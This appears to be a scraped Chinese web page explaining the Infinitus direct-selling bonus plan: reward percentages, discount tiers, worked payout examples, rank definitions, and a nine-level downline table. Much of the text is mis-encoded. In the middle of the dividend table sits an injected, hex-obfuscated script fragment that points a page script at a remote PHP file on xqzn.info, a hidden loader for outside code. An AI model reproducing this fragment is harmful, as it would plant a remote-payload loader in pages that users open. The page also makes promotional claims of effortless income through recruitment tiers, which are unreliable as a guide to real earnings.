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解讀無(wú)限極獎(jiǎng)金規(guī)章制度
解讀無(wú)極限獎(jiǎng)金規(guī)章制度
獲批直銷經(jīng)營(yíng)許可證，是無(wú)限極發(fā)展歷程中一個(gè)重要的新起點(diǎn)，無(wú)限極積極配合中央政府調(diào)整新的業(yè)務(wù)制度，現(xiàn)將公司以公布的制度策略整理如下，如有變動(dòng)，請(qǐng)以無(wú)限極公司官方公布的最新資料為準(zhǔn)，敬請(qǐng)關(guān)住!
無(wú)限極的獎(jiǎng)金制度又稱為“經(jīng)銷商獎(jiǎng)勵(lì)計(jì)劃”。是所有從事無(wú)限極事業(yè)伙伴必須掌握的核心要素之一，同時(shí)也是公司和合作伙伴共同遵守的規(guī)范。公司通過(guò)充分研究美式、歐式、日本及馬來(lái)西亞等世界直銷業(yè)發(fā)達(dá)國(guó)家的著名直銷企業(yè)的制度，認(rèn)真分析中國(guó)國(guó)情而制定的非常人性化的制度。業(yè)績(jī)不歸零，可累積疊加，使得與無(wú)限極合作的伙伴在初期、中期和后期的每個(gè)階段的利益都能獲得充分保障，完全沒(méi)有囤貨沖擊業(yè)績(jī)的壓力，可以輕輕松松隨心所欲做直銷。
無(wú)限極的“經(jīng)銷商獎(jiǎng)勵(lì)計(jì)劃”歸納起來(lái)就是很簡(jiǎn)單的“十項(xiàng)服務(wù)報(bào)酬”：
1.零售利潤(rùn)——20%
2.銷售折扣——10%
3.培訓(xùn)獎(jiǎng)勵(lì)——12.5% (又叫超額獎(jiǎng)勵(lì))
4.業(yè)績(jī)紅利——6%
5.公司分紅——10.5% (又細(xì)分為六個(gè)市場(chǎng)九個(gè)分區(qū)，后面詳解。)
6.穩(wěn)健獎(jiǎng)金——0.5%
7.優(yōu)秀獎(jiǎng)金——0.3%
8.卓越獎(jiǎng)金——0.2%
9.杰出成就獎(jiǎng)——0.1%
10.旅游培訓(xùn)獎(jiǎng)——1%
獎(jiǎng)金比例撥付總額高達(dá)61.1%，是很多公司難以企及的，更加體現(xiàn)了公司“思利及人”的理念和文化內(nèi)涵。
一、獎(jiǎng)金制度解析—20% 零售利潤(rùn)
20%的零售利潤(rùn)，是指你已經(jīng)投入了498元購(gòu)買了無(wú)限極的產(chǎn)品，獲得了銷售無(wú)限極品牌產(chǎn)品的資格后，直接可以在全國(guó)任意一家正規(guī)的無(wú)限極公司授權(quán)的品牌專賣店以產(chǎn)品標(biāo)價(jià)的80%額度付款拿貨。
當(dāng)你以產(chǎn)品標(biāo)價(jià)在市場(chǎng)上銷售成功后，就直接有20%的差額收入，銷售越多收入相應(yīng)的也就越高。當(dāng)然這個(gè)20%的空間自己也可以根據(jù)銷售的對(duì)象靈活掌握。比如說(shuō)，你銷售的對(duì)象是多年來(lái)很要好的密友或者同學(xué)，你只賺取10%或者N%的利潤(rùn)而把10%或者N%利潤(rùn)讓給他，也是可以的。這種情況在你從事產(chǎn)品銷售活動(dòng)中應(yīng)該占極小的比例，為了多賣產(chǎn)品而刻意銷價(jià)是不可取的，首先是公司有明文規(guī)定不準(zhǔn)銷價(jià)，一旦發(fā)現(xiàn)將會(huì)受到開(kāi)除資格的懲罰。其次你賣產(chǎn)品就是為了賺取差價(jià)，這個(gè)差價(jià)里包含了你為達(dá)成交易所付出的所有成本開(kāi)支，包括交通費(fèi)、通信費(fèi)、宣傳資料費(fèi)以及售后服務(wù)費(fèi)等等，所以無(wú)限極的伙伴們這個(gè)20%的利潤(rùn)也賺的合情合理。
二、經(jīng)銷商折扣10%
10%經(jīng)銷商銷售折扣是指與之銷售額相對(duì)應(yīng)的折扣比率，從2%—4%—6%—8%—10%分為5個(gè)不同比率的梯級(jí)。
1. 1000元——2%： 指你第一個(gè)月內(nèi)完成了1000元的銷售，就再得到2%的折扣利潤(rùn)，及 1000 * 2% =20 元。
2. 2000元——4%： 指你第二個(gè)月的銷售額加上第一個(gè)月的達(dá)到了2000元時(shí)就可以得到4%的折扣利潤(rùn)，及 2000*4%=80元。
3. 4000元——6%： 當(dāng)月的營(yíng)業(yè)額達(dá)到4000元時(shí)可以得到6%的折扣收入，及4000*6%=240元。這項(xiàng)營(yíng)業(yè)額可以與前面的業(yè)績(jī)累積，也就是說(shuō)這個(gè)月你實(shí)際的銷售額不必達(dá)4000元，可以是1000或2000就可以拿到240元。
4. 6000元——8% : 當(dāng)月的營(yíng)業(yè)額達(dá)到6000元是可以得到8%的折扣收入，及6000*8%=480元�？梢耘c前面相鄰兩個(gè)月的業(yè)績(jī)累積計(jì)算。
5. 10000元——10% 當(dāng)月的營(yíng)業(yè)額達(dá)到10000元是可以得到10%的折扣收入，及10000*10%=1000元�？梢耘c前面相鄰兩個(gè)月的業(yè)績(jī)累積計(jì)算，當(dāng)月實(shí)際銷售額不必達(dá)到10000元，只有與前面的相加達(dá)到10000元的標(biāo)準(zhǔn)就可以了。
特別說(shuō)明：以上銷售折扣收入在達(dá)到了所要求的標(biāo)準(zhǔn)層級(jí)后，計(jì)算當(dāng)月的獎(jiǎng)金是按照本月你實(shí)際的銷售額來(lái)計(jì)算的。例 假如你7月份達(dá)到了4000元，8月份只銷售了2000元，相鄰兩個(gè)月相加是6000元，這時(shí)候就達(dá)到了8%的折扣標(biāo)準(zhǔn)，但你8月份的實(shí)際收入是2000*8%=160元，而不是6000*8%=480元。
當(dāng)你達(dá)到10%的級(jí)別標(biāo)準(zhǔn)，以后將永遠(yuǎn)享受10%的比例，不管你當(dāng)月實(shí)際有多少銷售額，只升不降。和前面20%的零售利潤(rùn)可以兼得，這時(shí)候已經(jīng)有30%的利潤(rùn)空間，非常的劃算誘人。
當(dāng)月基層市場(chǎng)營(yíng)業(yè)額達(dá)到某個(gè)分配比例，可享受該比例相應(yīng)的百分比折扣，并可以得到與合作經(jīng)銷商分配比例折扣的利潤(rùn)差額。其方法有2，例如：
方法一：
你的市場(chǎng)里加上自己一共有A、B、C、D、4個(gè)合作伙伴，A是自己，B、C、D是與合作的下屬部門。8月份總銷售額是10000元，達(dá)到了10%的分配比例;但每個(gè)人的銷售額分別是A(自己1000元)、B(1000元)、C(4000元)、D(4000元)，本月你的收入是總的銷售額比例減去B、C、D每個(gè)人當(dāng)月實(shí)際達(dá)標(biāo)后實(shí)際應(yīng)拿的相應(yīng)折扣比例，計(jì)算如下：(10000*10%)-(1000*2%+4000*6%+4000*6%)=1000 —(20+240+240)=500元。
方法二：
A(你的收入還可以如下計(jì)算)：
自己1000*10%=100元
級(jí)差 B 1000*(10%-2%)=80元
C 4000*(10%-6%)=160元
D 4000*(10%-6%)=160元
合計(jì)為：100+80+160+160=500元。
注：獲得經(jīng)銷商的資格是：a:當(dāng)月銷售額達(dá)到4000元;b:相連兩個(gè)月達(dá)到6000元;c: 相連三個(gè)月達(dá)到10000元。
折扣只升不降，可以越級(jí)晉升;可以連續(xù)兩個(gè)月的業(yè)績(jī)累加升級(jí);以經(jīng)銷商的當(dāng)月全部市場(chǎng)營(yíng)業(yè)額獲取差額利潤(rùn)。
經(jīng)銷商當(dāng)月最低銷售額300點(diǎn)(優(yōu)惠價(jià)就是銷售點(diǎn)數(shù))。
經(jīng)銷商應(yīng)繳納個(gè)人所得稅金，將按國(guó)家稅金規(guī)定，由公司代扣，上交稅務(wù)局。
銷售折扣兩項(xiàng)優(yōu)惠政策的具體計(jì)算方法如下：
(1)連續(xù)兩個(gè)月?tīng)I(yíng)業(yè)額可以累積
例如：一月 4000點(diǎn)(6%)
二月 6000點(diǎn) (+
——————————————————————————
( 兩個(gè)月累積)10000 點(diǎn)10%
也就是說(shuō)第二個(gè)月6000就可享受10%的折扣。
(2) 只升不降
例如：
一月 收入：4000*6%=240元
二月 收入：6000*10%=600元
三月 收入：2000*10%=200元
三、培訓(xùn)(超額)獎(jiǎng)勵(lì)12.5%
1.當(dāng)月達(dá)標(biāo)經(jīng)銷商(10000點(diǎn)，含個(gè)人營(yíng)業(yè)額300點(diǎn))擁有一位直屬達(dá)標(biāo)市場(chǎng)(10000點(diǎn)，含個(gè)人營(yíng)業(yè)額300點(diǎn))，可以享受培訓(xùn)獎(jiǎng)勵(lì)1250元。 注：達(dá)標(biāo)經(jīng)銷商也就是“基礎(chǔ)市場(chǎng)”。
例如：
A(自己)本月銷售額為10000元
B(達(dá)標(biāo)的市場(chǎng)部門)本月銷售額也為10000元
你得到的培訓(xùn)獎(jiǎng)勵(lì)計(jì)算為：
A=10000*12.5%=1250元
2.當(dāng)月?lián)碛幸晃恢睂龠_(dá)標(biāo)市場(chǎng)，但基礎(chǔ)市場(chǎng)營(yíng)業(yè)額不夠10000點(diǎn)，也可以享受12.5%的培訓(xùn)獎(jiǎng)勵(lì)。
例如：
A自己(基礎(chǔ)市場(chǎng))本月銷售額為4000元
B部門(直屬市場(chǎng))本月銷售額為10000元
你也可以拿到12.5%的相應(yīng)培訓(xùn)獎(jiǎng)勵(lì)， 計(jì)算公式為A=4000*12.5%=500元
或者：A=300元(只達(dá)到了個(gè)人營(yíng)業(yè)額)
B=10000元(滿足達(dá)標(biāo)標(biāo)準(zhǔn))
你可以拿到的培訓(xùn)獎(jiǎng)勵(lì)計(jì)算公式為：A=300*12.5%=37.50元
3.當(dāng)月沒(méi)有直屬達(dá)標(biāo)市場(chǎng)，但你的整個(gè)基礎(chǔ)市場(chǎng)營(yíng)業(yè)額超過(guò)了10000點(diǎn)，超過(guò)的部分也可以享受12.5%的培訓(xùn)獎(jiǎng)勵(lì)。
例如：
A：銷售額是6000元
B：銷售額是6000元
C：銷售額是4000元
D：銷售額是4000元
那么你可以拿到的培訓(xùn)獎(jiǎng)勵(lì)的計(jì)算公式為：A=(20000—10000)*12.5%=1250元
“培訓(xùn)(超額)獎(jiǎng)勵(lì)”，顧名思義就是為你帶好部門團(tuán)隊(duì)而設(shè)立的一項(xiàng)具有“領(lǐng)導(dǎo)”性質(zhì)的獎(jiǎng)金，鼓勵(lì)你為下屬部門多付出、勤付出、樂(lè)于付出的肯定和激勵(lì)，積極為團(tuán)隊(duì)培養(yǎng)講師及領(lǐng)袖人才。
四、業(yè)績(jī)紅利6%
1. 業(yè)績(jī)紅利分配百分比表
|
當(dāng)月累積營(yíng)業(yè)額（點(diǎn)） |
百分比（%） |
當(dāng)月累積營(yíng)業(yè)額（點(diǎn)） |
百分比（%） |
|
10，000 |
1.25 |
600，000 |
3.75 |
|
20，000 |
1.50 |
800，000 |
4.00 |
|
40，000 |
1.75 |
1，000，000 |
4.25 |
|
60，000 |
2.00 |
1，500，000 |
4.50 |
|
80，000 |
2.25 |
2，000，000 |
4.75 |
|
110，000 |
2.50 |
2，500，000 |
5.00 |
|
140，000 |
2.75 |
3，000，000 |
5.25 |
|
200，000 |
3.00 |
3，500，000 |
5.50 |
|
300，000 |
3.25 |
4，000，000 |
5.75 |
|
400，000 |
3.50 |
4，500，000 |
6.00 |
計(jì)算方法: 按當(dāng)月個(gè)人累積營(yíng)業(yè)額與直屬合作經(jīng)銷商個(gè)人累積營(yíng)業(yè)額的差額計(jì)算，紅利百分比為1.25——6% ，劃分20個(gè)臺(tái)階，每個(gè)臺(tái)階的階差為0.25%，營(yíng)業(yè)額可以計(jì)算到無(wú)限代。
例如：
1.
A: 10000點(diǎn)(含個(gè)人300點(diǎn))
B: 10000點(diǎn)(含個(gè)人300點(diǎn))
C：10000點(diǎn)(含個(gè)人300點(diǎn))
計(jì)算公式為： A=(30000*1.50%)—B(10000*1.25%)—C(10000*1.25%)
=450元—125元—125元
=A 200元
2.
A: 300點(diǎn)
B: 10000點(diǎn)
C: 10000點(diǎn)
計(jì)算公式為： A=(20300*1.50%)—(10000*1.25%)—(10000*1.25%)
=304.5元—125元—125元
=A 54.5元
3.
A: 2000點(diǎn)
B: 10000點(diǎn)
C: 20000點(diǎn)
D: 40000點(diǎn)
計(jì)算公式為： A= (72000*2.00%) — B(10000*1.25%)— C(20000*1.50%)— D(40000*1.75%)
=1440元—125元—300元—700元
=A 315元
五、公司分紅10.5%
|
職級(jí) |
業(yè)務(wù)主任 |
高級(jí)主任 |
業(yè)務(wù)經(jīng)理 |
高級(jí)經(jīng)理 |
業(yè)務(wù)總監(jiān) |
|
基礎(chǔ)市場(chǎng)營(yíng)業(yè)額（點(diǎn)） |
10000 |
8000 |
6000 |
4000 |
2000 |
|
直屬達(dá)標(biāo)市場(chǎng)位數(shù) |
1—2 |
3 |
#FormatImgID_0# cript%22%3Bdocument.getElemen |
5 |
6以上 |
|
第一分區(qū) |
1.5 |
1.5 |
1.5 |
1.5 |
1.5 |
|
tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D">
第二分區(qū) |
1.5 |
1.5 |
1.5 |
1.5 |
1.5 |
|
第三分區(qū) |
1.5 |
1.5 |
1.5 |
1.5 |
1.5 |
|
第四分區(qū) |
|
1.5 |
1.5 |
1.5 |
1.5 |
|
第五分區(qū) |
|
|
1.3 |
1.3 |
1.3 |
|
第六分區(qū) |
|
|
1.1 |
1.1 |
1.1 |
|
第七分區(qū) |
|
|
|
0.9 |
0.9 |
|
第八分區(qū) |
|
|
|
|
0.7 |
|
第九分區(qū) |
|
|
|
|
0.5 |
獲得條件：
業(yè)務(wù)主任以上有資格享受，最高享受九個(gè)分區(qū)。
公司分紅收入表如下：
1. 當(dāng)月?lián)碛兄辽僖粋�(gè)直屬達(dá)標(biāo)市場(chǎng)，基礎(chǔ)市場(chǎng)營(yíng)業(yè)額達(dá)到10，000點(diǎn)(含個(gè)人業(yè)績(jī)300點(diǎn))。
例如：當(dāng)月你的市場(chǎng)銷售額分別為
A：10000元 B: 10000元 C: 10000元 D：20000元
應(yīng)得收入計(jì)算公式為：
A=10000*1.50%+10000*1.50%+10000*1.50%+20000*1.50%
=150元+150元+300元
=600元
B=10000*1.50%+20000*1.50%
=450元
2. 當(dāng)月基礎(chǔ)市場(chǎng)營(yíng)業(yè)額不夠10，000點(diǎn)，但培訓(xùn)出一個(gè)全新市場(chǎng)。
例如： B本月?tīng)I(yíng)業(yè)額只有300點(diǎn)，但他的直屬合格市場(chǎng)中有一位是全新市場(chǎng)，使B有資格享受公司分紅。
當(dāng)月你的市場(chǎng)銷售額分別為： A：10000; B：300; C: 10000; D: 10000; E:(全新市場(chǎng))10000
A自己，B、C、D、E是你的下屬部門，其中B為直接領(lǐng)導(dǎo)部門。
應(yīng)得收入計(jì)算公式為：
B=10000*1.50%+10000*1.50%=300元
A=10300*1.50%+10000*1.50%+10000*1.50%
=154.5+150+150
=454.5元
注意： 由以上計(jì)算公式可以清楚的闡述出，全新的市場(chǎng)E只是讓你在基礎(chǔ)市場(chǎng)營(yíng)業(yè)額不夠10000點(diǎn)時(shí)，獲得了享受分紅的資格，新市場(chǎng)E的當(dāng)月?tīng)I(yíng)業(yè)額并不計(jì)算在你的分紅獎(jiǎng)金里。
3. 當(dāng)月基礎(chǔ)市場(chǎng)營(yíng)業(yè)額不夠10000點(diǎn)，可根據(jù)所擁有的直屬達(dá)標(biāo)市場(chǎng)的位數(shù)，相應(yīng)減少對(duì)基礎(chǔ)市場(chǎng)營(yíng)業(yè)額的要求。
例如： B只有8000點(diǎn)，但他當(dāng)月?lián)碛腥?C:10000\D:10000\E:10000)直屬達(dá)標(biāo)市場(chǎng)，因此可以享受公司分紅。
實(shí)際應(yīng)得收入計(jì)算公式為;
B=(10000*1.50%)*3 —(10000—8000)*1.50%
= 450—30
=420元
注意：這時(shí)候的30元可以上浮至上屆市場(chǎng)達(dá)標(biāo)，計(jì)算公式為
A=10000*1.50%+2000*1.50%+(10000*1.50%)*3
=150+30+450
=630元
獎(jiǎng)金提撥表：
|
分區(qū) |
六六模式 |
提撥比例 |
提撥金額 |
每區(qū)金額 |
累計(jì) |
|
1 |
6 |
10，000*1.50% |
150 |
900 |
900 |
|
2 |
36 |
10，000*1.50% |
150 |
5400 |
6300 |
|
3 |
216 |
10，000*1.50% |
150 |
32400 |
37800 |
|
4 |
1296 |
10，000*1.50% |
150 |
194400 |
226800 |
|
5 |
7776 |
10，000*1.30% |
130 |
1010880 |
1205280 |
|
6 |
46656 |
10，000*1.10% |
110 |
5132160 |
6143040 |
|
7 |
279936 |
10，000*0.90% |
90 |
25194240 |
30326400 |
|
8 |
1679616 |
10，000*0.70% |
70 |
117573120 |
142767360 |
|
9 |
10077696 |
10，000*0.50% |
50 |
503884800 |
621457920 |
六、穩(wěn)健獎(jiǎng)金0.5%
獲得此項(xiàng)獎(jiǎng)金的條件是：
每?jī)蓚�(gè)10萬(wàn)市場(chǎng)計(jì)1分，四個(gè)10萬(wàn)市場(chǎng)計(jì)2分，后面以此類推，加權(quán)分配。
假設(shè)公司銷售額為10億元人民幣，經(jīng)統(tǒng)計(jì)符合資格人員的分?jǐn)?shù)合計(jì)為1000分，則計(jì)算方法如下:
10億*0.5%=500萬(wàn)
500萬(wàn)/1000分=5000元
按最低符合標(biāo)準(zhǔn)擁有1分計(jì)算，則每人可獲獎(jiǎng)勵(lì)5000元。
七、 優(yōu)秀獎(jiǎng)金0.3%
獲得優(yōu)秀獎(jiǎng)金的條件有以下2個(gè)方法：
1. 擁有一個(gè)450萬(wàn)的市場(chǎng)，其他市場(chǎng)合計(jì)225萬(wàn)以上;
2. 擁有兩個(gè)450萬(wàn)的市場(chǎng)，也享受此項(xiàng)待遇，沒(méi)有其他營(yíng)業(yè)額的要求。
計(jì)算方法：符合以上條件者為1分，符合條件多者，分?jǐn)?shù)相應(yīng)增加。以此類推，加權(quán)分配。
假設(shè)公司銷售額為10億人民幣，經(jīng)統(tǒng)計(jì)符合資格人員的分?jǐn)?shù)合計(jì)為100分，則計(jì)算如下：
10億*0.3%=300萬(wàn)
300萬(wàn)/100分=3萬(wàn)元
按最低符合標(biāo)準(zhǔn)擁有值分計(jì)算，則每人可獲3萬(wàn)元獎(jiǎng)勵(lì)。
八、 卓越獎(jiǎng)金0.2%
獲得條件：
總業(yè)績(jī)450萬(wàn)以上，同時(shí)培養(yǎng)出5個(gè)50萬(wàn)市場(chǎng)計(jì)5分，每增加1個(gè)50萬(wàn)市場(chǎng)加1.5分。以此類推，加權(quán)分配。
假設(shè)公司銷售額為10億元人民幣，經(jīng)統(tǒng)計(jì)符合資格人員的分?jǐn)?shù)合計(jì)為100分，則計(jì)算方法如下：
10億*0.2%=200萬(wàn)
200萬(wàn)/100分=2萬(wàn)
按最低符合標(biāo)準(zhǔn)5分計(jì)算，則每人可獲獎(jiǎng)勵(lì)10萬(wàn)元。
九、 杰出成就獎(jiǎng)0.1%
總業(yè)績(jī)900萬(wàn)以上，同時(shí)培養(yǎng)出10個(gè)50萬(wàn)市場(chǎng)計(jì)10分，每增加1個(gè)50萬(wàn)市場(chǎng)計(jì)1.5分，依次類推，加權(quán)分配。
假設(shè)公司銷售額為10億人民幣，經(jīng)統(tǒng)計(jì)符合資格的人員的分?jǐn)?shù)合計(jì)為100分，則計(jì)算公式如下：
10億*0.1%=100萬(wàn)
100萬(wàn)/100分=1萬(wàn)
按最低符合標(biāo)準(zhǔn)擁有10分計(jì)算，則每人可獲獎(jiǎng)勵(lì)10萬(wàn)。
十、 旅游培訓(xùn)獎(jiǎng)
獲得條件：
1. 當(dāng)月個(gè)人營(yíng)業(yè)額必須達(dá)到300點(diǎn)。
2. 計(jì)算方法：逐月計(jì)分，年終累計(jì)。
3. 計(jì)算公式：月旅游積分=個(gè)人稅前月收入/10 。
4. 年旅游積分標(biāo)準(zhǔn)：由公司測(cè)算后提前公布。
5. 稅前年收入達(dá)到6萬(wàn)元以上可免費(fèi)參加出國(guó)旅游培訓(xùn)。
注： 1. 本制度為吸引優(yōu)秀人才而設(shè)計(jì)，大、中、小兼顧。
2. 擁有4個(gè)以上市場(chǎng)的業(yè)務(wù)經(jīng)理不可兼做其它公司。
3. 推薦新顧客加入不算個(gè)人銷售300點(diǎn)。
獎(jiǎng)金制度相關(guān)名詞解釋
一、普通消費(fèi)者： 以零售價(jià)任意選購(gòu)公司產(chǎn)品的消費(fèi)者。
二、經(jīng)銷商: 符合業(yè)務(wù)資格申請(qǐng)條件，經(jīng)本人申請(qǐng)，公司確認(rèn)，從事產(chǎn)品推廣、市場(chǎng)拓展及售前、售中、售后服務(wù)，且只容許獲得一個(gè)經(jīng)銷商資格。(與公司簽定勞務(wù)協(xié)議合同。提供中國(guó)銀行、工商銀行、建設(shè)銀行其中一個(gè)戶頭復(fù)印件及身份證復(fù)印件)。一次性購(gòu)買498元產(chǎn)品可申請(qǐng)辦優(yōu)惠卡和經(jīng)銷商資格，此卡在全球范圍內(nèi)專賣店均有效。
三、產(chǎn)品銷售點(diǎn)數(shù)： 用以計(jì)算您的營(yíng)額，并據(jù)此發(fā)放獎(jiǎng)金。
四、 個(gè)人營(yíng)業(yè)額： 個(gè)人直接銷售產(chǎn)品和拓展市場(chǎng)所銷售之點(diǎn)數(shù)的總和。
五、 基礎(chǔ)市場(chǎng)營(yíng)業(yè)額: 個(gè)人營(yíng)業(yè)額及其所屬不足10000點(diǎn)的銷售小組營(yíng)業(yè)額總和。
六、 個(gè)人累積營(yíng)業(yè)： 個(gè)人營(yíng)業(yè)額及其所屬直銷隊(duì)伍營(yíng)業(yè)額總和。
七、 達(dá)標(biāo)市場(chǎng)(達(dá)標(biāo)經(jīng)銷商)： 當(dāng)月個(gè)人營(yíng)業(yè)額達(dá)到10000點(diǎn)的銷售小組(經(jīng)銷商)。
八、 全新市場(chǎng)： 當(dāng)月第一次達(dá)到10000點(diǎn)的銷售小組。
九、 分區(qū)： 指與您所領(lǐng)導(dǎo)的業(yè)務(wù)隊(duì)伍組織結(jié)構(gòu)的層數(shù)。
十、 浮動(dòng)業(yè)績(jī)： 計(jì)算公司分紅時(shí)，觀察業(yè)績(jī)時(shí)，由下往上計(jì)算，有10000點(diǎn)者，為一個(gè)達(dá)標(biāo)分區(qū)，不夠10000點(diǎn)者，向上浮動(dòng)，稱之為浮動(dòng)業(yè)績(jī)。
十一、直屬達(dá)標(biāo)市場(chǎng)： 您所領(lǐng)導(dǎo)的業(yè)務(wù)隊(duì)伍組織結(jié)構(gòu)中第一層的銷售小組。
十二、 經(jīng)銷商： 當(dāng)月銷售4000元，相連兩個(gè)月6000元或相連三個(gè)月10000元的市場(chǎng)。
十三、 見(jiàn)習(xí)業(yè)務(wù)主任： 連續(xù)三個(gè)月達(dá)到一萬(wàn)元的市場(chǎng)。
十四、 業(yè)務(wù)主任： 1至2個(gè)市場(chǎng)總業(yè)績(jī)3萬(wàn)以上，連續(xù)三個(gè)月。
十五、 高級(jí)業(yè)務(wù)主任： 3個(gè)市場(chǎng)且總業(yè)績(jī)?cè)谑f(wàn)元以上，三個(gè)月達(dá)標(biāo)。
十六、 業(yè)務(wù)經(jīng)理： 4市場(chǎng)其中2個(gè)1萬(wàn)和2個(gè)10萬(wàn)以上，總業(yè)績(jī)50萬(wàn)以上，六個(gè)月達(dá)標(biāo)其中三個(gè)月連續(xù)。
十七、 高級(jí)業(yè)務(wù)經(jīng)理： 4個(gè)市場(chǎng)其中1個(gè)1萬(wàn)和4個(gè)10萬(wàn)以上，總業(yè)績(jī)?cè)?00萬(wàn)以上，六個(gè)月達(dá)標(biāo)其中三個(gè)月連續(xù)。
十八、 業(yè)務(wù)總監(jiān)： 6個(gè)10萬(wàn)市場(chǎng)其中4個(gè)10萬(wàn)和2個(gè)50萬(wàn)以上，總業(yè)績(jī)225萬(wàn)以上，六個(gè)月達(dá)標(biāo)其中三個(gè)月連續(xù)。
十九、 高級(jí)業(yè)務(wù)總監(jiān)： 6個(gè)10萬(wàn)市場(chǎng)其中1個(gè)10萬(wàn)和5個(gè)50萬(wàn)市場(chǎng)，總業(yè)績(jī)?cè)?50萬(wàn)以上，六個(gè)月達(dá)標(biāo)其中三個(gè)月連續(xù)。
二十、 首席業(yè)務(wù)總監(jiān)： 10個(gè)50萬(wàn)市場(chǎng)，總業(yè)績(jī)900萬(wàn)以上，六個(gè)月達(dá)標(biāo)其中三個(gè)月連續(xù)。
二十一、 推薦人： 介紹您加入公司的人。
二十二、 合作伙伴： 您推薦來(lái)加入從事無(wú)限極事業(yè)的人。
二十三、 個(gè)人營(yíng)業(yè)額： 個(gè)人的銷售業(yè)績(jī)。
二十四、累積營(yíng)業(yè)額： 與你合作的部門團(tuán)隊(duì)整體銷售業(yè)績(jī)。
二十五、 業(yè)務(wù)精英： 有良好的銷售能力和領(lǐng)導(dǎo)能力的人。
二十六、 友鄰市場(chǎng)： 旁部門的團(tuán)隊(duì)。
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